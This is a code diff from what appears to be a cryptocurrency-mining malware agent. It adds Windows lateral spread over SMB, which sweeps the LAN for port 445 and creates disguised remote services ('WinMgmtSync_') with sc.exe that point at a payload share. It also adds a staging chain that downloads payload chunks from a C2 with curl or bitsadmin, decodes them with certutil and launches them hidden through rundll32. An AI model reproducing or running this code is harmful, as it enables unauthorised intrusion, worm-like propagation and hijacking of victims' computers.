unit := fields[0]
|
||||||
|
state := fields[2]
|
||||||
|
if state != "active" && state != "running" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
entries = append(entries, entryWithLane(unit, 0, "local_service"))
|
||||||
|
}
|
||||||
|
return entries
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseWindowsDiscoverFixture parses JSON fixture from the Windows discovery script.
|
||||||
|
func ParseWindowsDiscoverFixture(raw string) (entries []ServiceGraphEntry, hints []string) {
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
var payload windowsDiscoverPayload
|
||||||
|
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return windowsRowsToEntries(payload.Services), payload.Hints
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseServiceDiscoverJSON unmarshals agent command output into a result struct.
|
||||||
|
func ParseServiceDiscoverJSON(raw string) (ServiceDiscoverResult, error) {
|
||||||
|
var result ServiceDiscoverResult
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
if idx := strings.Index(raw, "{"); idx > 0 {
|
||||||
|
raw = raw[idx:]
|
||||||
|
}
|
||||||
|
err := json.Unmarshal([]byte(raw), &result)
|
||||||
|
return result, err
|
||||||
|
}
|
||||||
53
agent/deploy/smb_unc_spread.go
Normal file
53
agent/deploy/smb_unc_spread.go
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SMBUNCSpreadOpts configures remote sc.exe service creation against a UNC Forge share.
|
||||||
|
type SMBUNCSpreadOpts struct {
|
||||||
|
UNCPath string
|
||||||
|
MaxHosts int
|
||||||
|
SvcName string
|
||||||
|
}
|
||||||
|
|
||||||
|
// ValidateUNCSpreadPath ensures the operator-supplied UNC points at a binary on a share.
|
||||||
|
func ValidateUNCSpreadPath(unc string) error {
|
||||||
|
unc = strings.TrimSpace(unc)
|
||||||
|
if unc == "" {
|
||||||
|
return fmt.Errorf("unc_path is required (e.g. \\\\forge-host\\pathforge$\\worker.exe)")
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(unc)
|
||||||
|
if !strings.HasPrefix(lower, `\\`) {
|
||||||
|
return fmt.Errorf("unc_path must start with \\\\")
|
||||||
|
}
|
||||||
|
if strings.Contains(unc, "..") {
|
||||||
|
return fmt.Errorf("unc_path must not contain ..")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunSMBUNCSpread triggers a non-blocking LAN sweep that creates remote services via sc.exe
|
||||||
|
// pointing at a UNC Forge output share (no PsExec, no local payload copy).
|
||||||
|
func RunSMBUNCSpread(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts) string {
|
||||||
|
if err := ValidateUNCSpreadPath(opts.UNCPath); err != nil {
|
||||||
|
return "smb unc spread rejected: " + err.Error()
|
||||||
|
}
|
||||||
|
maxHosts := opts.MaxHosts
|
||||||
|
if maxHosts <= 0 {
|
||||||
|
maxHosts = 64
|
||||||
|
}
|
||||||
|
targets := DiscoverLANSpreadTargets(maxHosts)
|
||||||
|
go runSMBUNCSpreadSweep(cfg, opts, targets)
|
||||||
|
return fmt.Sprintf("smb unc spread started on %d LAN target(s) via sc.exe → %s", len(targets), opts.UNCPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
func smbUNCSvcName(cfg config.RuntimeConfig, override string) string {
|
||||||
|
if strings.TrimSpace(override) != "" {
|
||||||
|
return sanitizeName(override)
|
||||||
|
}
|
||||||
|
return "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
|
}
|
||||||
10
agent/deploy/smb_unc_spread_stub.go
Normal file
10
agent/deploy/smb_unc_spread_stub.go
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "crypto-miner-agent/config"
|
||||||
|
|
||||||
|
func runSMBUNCSpreadSweep(_ config.RuntimeConfig, _ SMBUNCSpreadOpts, targets []string) {
|
||||||
|
beginSpreadSweep("smb_unc_sc", len(targets))
|
||||||
|
finishSpreadSweepImmediate()
|
||||||
|
}
|
||||||
48
agent/deploy/smb_unc_spread_test.go
Normal file
48
agent/deploy/smb_unc_spread_test.go
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestValidateUNCSpreadPath(t *testing.T) {
|
||||||
|
if err := ValidateUNCSpreadPath(`\\forge-host\pathforge$\worker.exe`); err != nil {
|
||||||
|
t.Fatalf("valid UNC rejected: %v", err)
|
||||||
|
}
|
||||||
|
if err := ValidateUNCSpreadPath(""); err == nil {
|
||||||
|
t.Fatal("empty UNC should fail")
|
||||||
|
}
|
||||||
|
if err := ValidateUNCSpreadPath(`C:\local\worker.exe`); err == nil {
|
||||||
|
t.Fatal("local path should fail")
|
||||||
|
}
|
||||||
|
if err := ValidateUNCSpreadPath(`\\host\share\..\evil.exe`); err == nil {
|
||||||
|
t.Fatal("traversal in UNC should fail")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunSMBUNCSpreadRejectsBadUNC(t *testing.T) {
|
||||||
|
msg := RunSMBUNCSpread(config.RuntimeConfig{}, SMBUNCSpreadOpts{UNCPath: "bad"})
|
||||||
|
if !strings.Contains(strings.ToLower(msg), "rejected") {
|
||||||
|
t.Fatalf("unexpected message: %q", msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSMBUNCSvcName(t *testing.T) {
|
||||||
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
|
||||||
|
got := smbUNCSvcName(cfg, "")
|
||||||
|
if !strings.HasPrefix(got, "WinMgmtSync_") {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
if strings.Contains(got, " ") {
|
||||||
|
t.Fatal("service name must not contain spaces")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
|
||||||
|
targets := DiscoverLANSpreadTargets(2)
|
||||||
|
if len(targets) > 2 {
|
||||||
|
t.Fatalf("cap ignored: got %d targets", len(targets))
|
||||||
|
}
|
||||||
|
}
|
||||||
103
agent/deploy/smb_unc_spread_windows.go
Normal file
103
agent/deploy/smb_unc_spread_windows.go
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) {
|
||||||
|
beginSpreadSweep("smb_unc_sc", len(targets))
|
||||||
|
if len(targets) == 0 {
|
||||||
|
finishSpreadSweepImmediate()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
shareRoot := uncShareRoot(opts.UNCPath)
|
||||||
|
if shareRoot != "" {
|
||||||
|
_ = ensureNetUse(shareRoot)
|
||||||
|
}
|
||||||
|
svcName := smbUNCSvcName(cfg, opts.SvcName)
|
||||||
|
binPath := formatSCBinPath(opts.UNCPath, runFlag)
|
||||||
|
for _, target := range targets {
|
||||||
|
spreadSem <- struct{}{}
|
||||||
|
go func(host string) {
|
||||||
|
defer func() { <-spreadSem }()
|
||||||
|
attemptSMBUNCSpread(host, svcName, binPath)
|
||||||
|
}(target)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func uncShareRoot(unc string) string {
|
||||||
|
unc = strings.TrimSpace(unc)
|
||||||
|
if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
parts := strings.Split(unc[2:], `\`)
|
||||||
|
if len(parts) < 2 || parts[0] == "" || parts[1] == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return `\\` + parts[0] + `\` + parts[1]
|
||||||
|
}
|
||||||
|
|
||||||
|
func ensureNetUse(share string) error {
|
||||||
|
out, err := HiddenCombinedOutput("net.exe", "use", share)
|
||||||
|
if err == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
msg := strings.ToLower(string(out))
|
||||||
|
if strings.Contains(msg, "already") || strings.Contains(msg, "success") {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatSCBinPath(unc, args string) string {
|
||||||
|
unc = strings.TrimSpace(unc)
|
||||||
|
args = strings.TrimSpace(args)
|
||||||
|
if args == "" {
|
||||||
|
return `"` + unc + `"`
|
||||||
|
}
|
||||||
|
return `"` + unc + `" ` + args
|
||||||
|
}
|
||||||
|
|
||||||
|
func attemptSMBUNCSpread(target, svcName, binPath string) {
|
||||||
|
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
recordSpreadAttempt(target, false, "port 445 closed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
|
||||||
|
var credSession SpreadCredSession
|
||||||
|
var credCleanup func()
|
||||||
|
if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok {
|
||||||
|
credSession = session
|
||||||
|
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
||||||
|
credCleanup = cleanup
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if credCleanup != nil {
|
||||||
|
defer credCleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
||||||
|
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
||||||
|
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName,
|
||||||
|
"binPath=", binPath,
|
||||||
|
"type=", "own",
|
||||||
|
"start=", "demand")
|
||||||
|
|
||||||
|
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||||
|
log.Printf("[smb-unc] remote service started on %s → %s", target, svcName)
|
||||||
|
recordSpreadAttempt(target, true, "")
|
||||||
|
reportSpreadCredEdge(target, "smb_unc_sc", credSession, true)
|
||||||
|
} else {
|
||||||
|
recordSpreadAttempt(target, false, "remote sc start failed")
|
||||||
|
reportSpreadCredEdge(target, "smb_unc_sc", credSession, false)
|
||||||
|
}
|
||||||
|
}
|
||||||
66
agent/deploy/spread_targets.go
Normal file
66
agent/deploy/spread_targets.go
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps.
|
||||||
|
// ARP cache is consulted first; a capped /24 port knock supplements sparse caches.
|
||||||
|
func DiscoverLANSpreadTargets(maxHosts int) []string {
|
||||||
|
if maxHosts <= 0 {
|
||||||
|
maxHosts = 64
|
||||||
|
}
|
||||||
|
if maxHosts > MaxSubnetScanHosts {
|
||||||
|
maxHosts = MaxSubnetScanHosts
|
||||||
|
}
|
||||||
|
|
||||||
|
targets := mergeUniqueIPv4(arpHosts(), neighborHosts())
|
||||||
|
if len(targets) < 3 {
|
||||||
|
ips := getLocalIPs()
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
for _, t := range targets {
|
||||||
|
seen[t] = true
|
||||||
|
}
|
||||||
|
for _, ip := range ips {
|
||||||
|
if !isIPv4(ip) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
subnet := getSubnet(ip)
|
||||||
|
if subnet == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for i := 1; i < 255 && len(targets) < maxHosts; i++ {
|
||||||
|
candidate, ok := ipv4SweepHost(subnet, i)
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if candidate == ip || seen[candidate] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||||
|
if err == nil {
|
||||||
|
conn.Close()
|
||||||
|
seen[candidate] = true
|
||||||
|
targets = append(targets, candidate)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
localSet := make(map[string]bool)
|
||||||
|
for _, ip := range getLocalIPs() {
|
||||||
|
localSet[ip] = true
|
||||||
|
}
|
||||||
|
var filtered []string
|
||||||
|
for _, target := range targets {
|
||||||
|
if localSet[target] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filtered = append(filtered, target)
|
||||||
|
if len(filtered) >= maxHosts {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filtered
|
||||||
|
}
|
||||||
97
agent/deploy/staging.go
Normal file
97
agent/deploy/staging.go
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StagingChunk is one downloadable piece of a staged payload.
|
||||||
|
type StagingChunk struct {
|
||||||
|
URL string `json:"url"`
|
||||||
|
File string `json:"file"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
|
||||||
|
type StagingManifest struct {
|
||||||
|
Method string `json:"method"` // curl | bits
|
||||||
|
Chunks []StagingChunk `json:"chunks"`
|
||||||
|
SHA256 string `json:"sha256"`
|
||||||
|
Dest string `json:"dest"`
|
||||||
|
Launch string `json:"launch"` // exe | rundll32
|
||||||
|
DLLExport string `json:"dll_export,omitempty"`
|
||||||
|
Encoded bool `json:"encoded"` // chunks are base64; decode via certutil
|
||||||
|
DeferMining bool `json:"defer_mining,omitempty"`
|
||||||
|
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.
|
||||||
|
func ResolveStagingPath(remote string) (string, error) {
|
||||||
|
return ResolveRemotePath(remote)
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeStagingFilename(name string) (string, error) {
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
name = strings.ReplaceAll(name, "\\", "/")
|
||||||
|
if name == "" {
|
||||||
|
return "", fmt.Errorf("chunk filename is empty")
|
||||||
|
}
|
||||||
|
parts := strings.Split(name, "/")
|
||||||
|
var clean []string
|
||||||
|
for _, p := range parts {
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
if p == "" || p == "." || p == ".." {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
clean = append(clean, p)
|
||||||
|
}
|
||||||
|
if len(clean) == 0 {
|
||||||
|
return "", fmt.Errorf("chunk filename is empty")
|
||||||
|
}
|
||||||
|
return filepath.Join(clean...), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func verifyFileSHA256(path, expected string) error {
|
||||||
|
expected = strings.ToLower(strings.TrimSpace(expected))
|
||||||
|
if expected == "" {
|
||||||
|
return fmt.Errorf("sha256 hash is required")
|
||||||
|
}
|
||||||
|
f, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
h := sha256.New()
|
||||||
|
if _, err := io.Copy(h, f); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
got := hex.EncodeToString(h.Sum(nil))
|
||||||
|
if got != expected {
|
||||||
|
return fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func concatFiles(dest string, parts []string) error {
|
||||||
|
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o755)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
for _, part := range parts {
|
||||||
|
in, err := os.Open(part)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if _, err := io.Copy(out, in); err != nil {
|
||||||
|
in.Close()
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
in.Close()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
14
agent/deploy/staging_stub.go
Normal file
14
agent/deploy/staging_stub.go
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RunStagingChain is Windows-only (BITS/curl/certutil/rundll32).
|
||||||
|
func RunStagingChain(_ config.RuntimeConfig, _ StagingManifest) (string, error) {
|
||||||
|
return "", fmt.Errorf("staging chain is Windows-only")
|
||||||
|
}
|
||||||
96
agent/deploy/staging_test.go
Normal file
96
agent/deploy/staging_test.go
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestStagingRejectsPathTraversal(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
path string
|
||||||
|
}{
|
||||||
|
{name: "unix_relative", path: "../../etc/passwd"},
|
||||||
|
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||||
|
{name: "embedded_traversal", path: "staging/../../outside.exe"},
|
||||||
|
{name: "absolute_with_traversal", path: "/var/tmp/../../etc/shadow"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
_, err := ResolveStagingPath(tc.path)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatalf("ResolveStagingPath(%q) should reject traversal", tc.path)
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), "path traversal") {
|
||||||
|
t.Fatalf("ResolveStagingPath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSanitizeStagingFilenameRejectsTraversal(t *testing.T) {
|
||||||
|
cases := []string{
|
||||||
|
"../evil.bin",
|
||||||
|
`..\..\payload.exe`,
|
||||||
|
"parts/../../../x.b64",
|
||||||
|
}
|
||||||
|
for _, raw := range cases {
|
||||||
|
got, err := sanitizeStagingFilename(raw)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.Contains(got, "..") {
|
||||||
|
t.Fatalf("sanitizeStagingFilename(%q) leaked traversal: %q", raw, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSanitizeStagingFilenameAcceptsSafeName(t *testing.T) {
|
||||||
|
got, err := sanitizeStagingFilename("chunk-0.b64")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got != "chunk-0.b64" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVerifyFileSHA256Match(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "payload.bin")
|
||||||
|
content := []byte("staging-chunk-data")
|
||||||
|
if err := os.WriteFile(path, content, 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
sum := sha256.Sum256(content)
|
||||||
|
if err := verifyFileSHA256(path, hex.EncodeToString(sum[:])); err != nil {
|
||||||
|
t.Fatalf("verify: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVerifyFileSHA256Mismatch(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "payload.bin")
|
||||||
|
if err := os.WriteFile(path, []byte("other"), 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := verifyFileSHA256(path, strings.Repeat("a", 64)); err == nil {
|
||||||
|
t.Fatal("expected sha256 mismatch error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVerifyFileSHA256RequiresHash(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "empty.bin")
|
||||||
|
if err := os.WriteFile(path, nil, 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := verifyFileSHA256(path, ""); err == nil {
|
||||||
|
t.Fatal("expected error for empty expected hash")
|
||||||
|
}
|
||||||
|
}
|
||||||
141
agent/deploy/staging_windows.go
Normal file
141
agent/deploy/staging_windows.go
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RunStagingChain downloads chunks via curl.exe or bitsadmin, optionally decodes
|
||||||
|
// with certutil, verifies the server-supplied SHA256, and launches via rundll32 or exe.
|
||||||
|
func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string, error) {
|
||||||
|
if len(manifest.Chunks) == 0 {
|
||||||
|
return "", fmt.Errorf("staging manifest has no chunks")
|
||||||
|
}
|
||||||
|
dest, err := ResolveStagingPath(manifest.Dest)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
workDir := filepath.Join(filepath.Dir(dest), ".staging-"+sanitizeName(cfg.WorkerName))
|
||||||
|
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer os.RemoveAll(workDir)
|
||||||
|
|
||||||
|
method := strings.ToLower(strings.TrimSpace(manifest.Method))
|
||||||
|
if method == "" {
|
||||||
|
method = "curl"
|
||||||
|
}
|
||||||
|
|
||||||
|
var assembled []string
|
||||||
|
for i, chunk := range manifest.Chunks {
|
||||||
|
name, err := sanitizeStagingFilename(chunk.File)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("chunk %d: %w", i, err)
|
||||||
|
}
|
||||||
|
localPath := filepath.Join(workDir, name)
|
||||||
|
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
switch method {
|
||||||
|
case "bits", "bitsadmin":
|
||||||
|
if err := downloadChunkBITS(chunk.URL, localPath); err != nil {
|
||||||
|
return "", fmt.Errorf("bits chunk %d: %w", i, err)
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if err := downloadChunkCurl(chunk.URL, localPath); err != nil {
|
||||||
|
return "", fmt.Errorf("curl chunk %d: %w", i, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
|
||||||
|
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
|
||||||
|
if err := certutilDecode(localPath, decoded); err != nil {
|
||||||
|
return "", fmt.Errorf("certutil chunk %d: %w", i, err)
|
||||||
|
}
|
||||||
|
assembled = append(assembled, decoded)
|
||||||
|
} else {
|
||||||
|
assembled = append(assembled, localPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if len(assembled) == 1 {
|
||||||
|
if err := os.Rename(assembled[0], dest); err != nil {
|
||||||
|
if err := copyFile(assembled[0], dest); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if err := concatFiles(dest, assembled); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||||
|
_ = os.Remove(dest)
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||||
|
switch launch {
|
||||||
|
case "rundll32", "dll":
|
||||||
|
export := strings.TrimSpace(manifest.DLLExport)
|
||||||
|
if export == "" {
|
||||||
|
export = "DllRegisterServer"
|
||||||
|
}
|
||||||
|
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||||
|
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched rundll32 %s", len(manifest.Chunks), method, dest, export), nil
|
||||||
|
default:
|
||||||
|
args := []string{runFlag}
|
||||||
|
if manifest.DeferMining {
|
||||||
|
args = append(args, deferMiningFlag)
|
||||||
|
}
|
||||||
|
if manifest.SpreadInstall {
|
||||||
|
args = append(args, spreadFlag)
|
||||||
|
}
|
||||||
|
if err := HiddenStart(dest, args...); err != nil {
|
||||||
|
return "", fmt.Errorf("exe launch: %w", err)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched exe %v", len(manifest.Chunks), method, dest, args), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadChunkCurl(url, dest string) error {
|
||||||
|
url = strings.TrimSpace(url)
|
||||||
|
if url == "" {
|
||||||
|
return fmt.Errorf("chunk url is empty")
|
||||||
|
}
|
||||||
|
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadChunkBITS(url, dest string) error {
|
||||||
|
url = strings.TrimSpace(url)
|
||||||
|
if url == "" {
|
||||||
|
return fmt.Errorf("chunk url is empty")
|
||||||
|
}
|
||||||
|
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
|
||||||
|
steps := [][]string{
|
||||||
|
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
|
||||||
|
}
|
||||||
|
for _, args := range steps {
|
||||||
|
if err := HiddenRun("bitsadmin", args...); err != nil {
|
||||||
|
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = HiddenRun("bitsadmin", "/complete", job)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func certutilDecode(src, dest string) error {
|
||||||
|
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
|
||||||
|
}
|
||||||
@@ -8,11 +8,15 @@ import (
|
|||||||
|
|
||||||
// Spread prerequisites for lateral deployment modules:
|
// Spread prerequisites for lateral deployment modules:
|
||||||
//
|
//
|
||||||
// Windows (SMB/SCM via autospread.go):
|
// Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
|
||||||
// - Target TCP/445 (SMB) must be reachable on the LAN.
|
// - Target TCP/445 (SMB) must be reachable on the LAN.
|
||||||
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
|
// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
|
||||||
// and create/start a remote service via sc.exe (typically requires local admin
|
// then sc.exe \\host create/start on the local path.
|
||||||
// or equivalent on the target).
|
// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
|
||||||
|
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
|
||||||
|
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
|
||||||
|
// the egress hop via POST /api/v1/pathtrace/spread.
|
||||||
|
// - Both require an admin-capable token on the target for remote SCM.
|
||||||
//
|
//
|
||||||
// Unix (SSH via autospread_unix.go):
|
// Unix (SSH via autospread_unix.go):
|
||||||
// - Target TCP/22 (SSH) must be reachable.
|
// - Target TCP/22 (SSH) must be reachable.
|
||||||
@@ -20,10 +24,13 @@ import (
|
|||||||
// already work — e.g. the agent user's public key in target authorized_keys,
|
// already work — e.g. the agent user's public key in target authorized_keys,
|
||||||
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
|
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
|
||||||
//
|
//
|
||||||
// Subnet discovery:
|
// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
|
||||||
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
|
// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
|
||||||
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
|
// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
|
||||||
// may appear when the OS neighbor cache lists them on a shared /64.
|
